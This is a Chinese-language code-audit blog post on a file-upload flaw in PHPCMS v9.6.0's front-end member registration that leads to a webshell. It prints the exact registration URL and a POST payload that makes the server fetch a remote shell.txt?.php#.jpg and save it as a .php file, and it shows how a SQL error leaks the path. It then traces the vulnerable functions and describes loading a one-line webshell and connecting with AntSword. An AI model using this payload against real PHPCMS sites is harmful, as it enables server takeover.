PHPCMSv9.6.0代码审计---前台登录界面getshell

PHPCMSv9.6.0代码审计---前台登录界面getshell

一月 25, 2022

利用过程

前台注册界面存在注入点,构造payload:

1
2
3
4
/index.php?m=member&c=index&a=register&siteid=1

post数据:
siteid=1&modelid=11&username=hgfhf&password=0077975765nvn&email=t786nb82@163.com&info[content]=<img src=http://127.0.0.1/shell.txt?.php#.jpg>&dosubmit=1&protocol=

image-20220125102754876

将页面信息填满之后进行抓包改包,写入构造好的payload,这里我使用的是本地环境下的测试,直接在本机放shell.txt,内容为

抓包:

image-20220125103930330

改包发包,得到一个回显的路径:

image-20220125103256201

image-20220125103355154

返回一个新的路径,并且使用了我们构造好的后缀.php,尝试直接访问:

image-20220125103430497

这里我们利用的点是设置生日的地方info[content],通过自行构造数据,从而导致任意文件的上传读取。根据poc的参数利用,我们对其进行跟进分析:


代码分析

结合xdebug工具进行参数传递分析:

首先找到注册界面的代码,根据/index.php?m=member&c=index&a=register&siteid=1,找到的是member模块下的index.php里面的register方法:

image-20220125104444667

在代码134行,对post传入的参数info进行array_map()函数的处理,之后使用get()参数对info进行处理,跟进get()函数,

位于member_input.class.php的第20行:

image-20220125104739383

1
$data即info的参数:一个变量名为content,值为<img src=http://127.0.0.1/shell.txt?.php#.jpg>的数组

首先经过trim_script()函数的过滤,将尖括号转化为HTML实体编码,之后在28行将变量值赋值给value作为键值对的值进行遍历,代码继续向下执行,往下跟进参数value,在代码的第48行,参数使用$func进行处理,通过跟进知道func即是editor():

image-20220125105345764

跟进函数editor(),在member_input.class.php的59行:

image-20220125110137573

追踪参数value,继续跟进函数download(),位于attachment.class.php:

image-20220125113242144

代码生成了一个新的路径uploadpath,参数value经过new_stripslashes的处理,返回的值仍然不变。153行,使用preg_match_all函数,将string中含有前面正则表达式的内容放到多维数组matches中,其中正则表达式中使用两个反斜杠2,表示贪婪算法,matches中一直匹配子表达式,只要符合任意圆括号的值即可。

img

遍历数组matches[3],matche的取值即为http://127.0.0.1/shell.txt?.php#.jpg,将其带入函数fillurl(),跟进函数,位于attachment.class.php中:

image-20220125114022171

第300-301行:

1
2
$pos = strpos($surl,'#');  //返回#在http://127.0.0.1/shell.txt?.php#.jpg中首次出现的位置 $pos=31
if($pos>0) $surl = substr($surl,0,$pos); //返回http://127.0.0.1/shell.txt?.php

代码通过strpos()函数找到#的位置,然后通过sybstr()函数截取到#之前的部分内容,也就是在这两步中将后缀#.jpg去掉了。返回的$url =http://127.0.0.1/shell.txt?.php。

image-20220125114513877

代码继续向下执行else语句,将surl的值赋给okurl,然后使用preg_replace()函数经过两次的正则匹配,返回http:////127.0.0.1/shell.txt?.php。

因此fillurl()函数的返回结果即为:http://127.0.0.1/shell.txt?.php。

回到download函数:

image-20220125114900591

使用foreach语句遍历参数:file为参数的值:http://127.0.0.1/shell.txt?.php,通过fileext()函数取出拓展名:

image-20220125115040585

通过点(.)来获取,取到拓展名为php。

再使用basename()函数,返回路径中的文件名部分,也就是shell.txt?,然后通过getname()函数生成一个随机数的文件名,后面直接拼接上上面返回的后缀名php:

image-20220125115313930

然后通过拼接将新生成的路径http://127.0.0.1/phpcmsv9.6.0/uploadfile/2022/0124和随机生成的文件名拼接起来赋值给$newfile。然后调用了upload_func也就是copy函数(代码开头定义)将文件http://127.0.0.1/shell.txt?.php 的内容复制到新的文件路径下,使用?是因为浏览器在解析的使用会将(http://127.0.0.1/shell.txt?.php) 这种形式的链接当做一个全新的链接重新请求,不适用缓存的内容。因此直接访问http://127.0.0.1/shell.txt?.php和http://127.0.0.1/shell.txt的内容是一样的, 使用其他符号浏览器就无法读取到对应文件的内容,也就无法实现将内容复制的操作。

image-20220125120448815

继续向下,download函数返回newpath的内容,也就是随机生成的新的文件路径的值,然后往回到editor函数:

image-20220125120636157

editor函数也返回value值,也就是新的文件路径,继续向上到get()函数:

image-20220125120743989

返回的info也就是变量名和变量的值:

1
2
$field:content
$value:新的文件路径的值:http://127.0.0.1/phpcmsv9.6.0/uploadfile/2022/0124/随机数.php

继续向上,返回到register函数中:

image-20220125120959206

1
2
$user_model_info的值即为 {content => http://127.0.0.1/phpcmsv9.6.0/uploadfile/2022/0124/随机数.php}
追踪参数,跟到150行,将数据userid和content以及对应的值通过insert函数插入到数据表中。

跟进insert函数:

image-20220125121716755

调用execute()函数:

image-20220125121830475

在这里我们结合数据库的内容查看:

image-20220125121907677

数据表中没有content字段,因此当我们将数据插入的时候,SQL语句报错,将语句回显出来,由于执行的是insert插入,所以对应的文件路径的值也会被爆出来。

整体梳理一下思路:利用的点是post传递参数info,并且在代码中会对该参数进行处理,最后会执行插入数据库的操作,当构造不存在的字段名时,会使SQL语句报错,从而将文件的路径暴露出来。在构造中我们可以上传.php文件,构造成标签的形式是为了满足download()函数中的正则匹配,使用#.jpg是因为代码对后缀做了判断,并且使用#作为取值点。使用shell.txt?.php是因为代码中存在copy的操作,需要正确读取文件的内容,但是在取文件后缀名的时候,对参数过滤不严,采取的是通过fileext()函数直接拼接后缀名的方式,导致任意文件的上传。

1
2
3
post['info']——>get()——>editor()——>download()
||
insert()<—— register() <—— get() <—— editor()

在每次抓包发包的使用用户名、密码和邮箱都需要修改。

将txt文件的内容换成一句话木马,就能直接连接蚁剑getshell:

image-20220125123417352

参考文章

https://www.cnblogs.com/yangxiaodi/p/6861115.html

https://paper.seebug.org/273/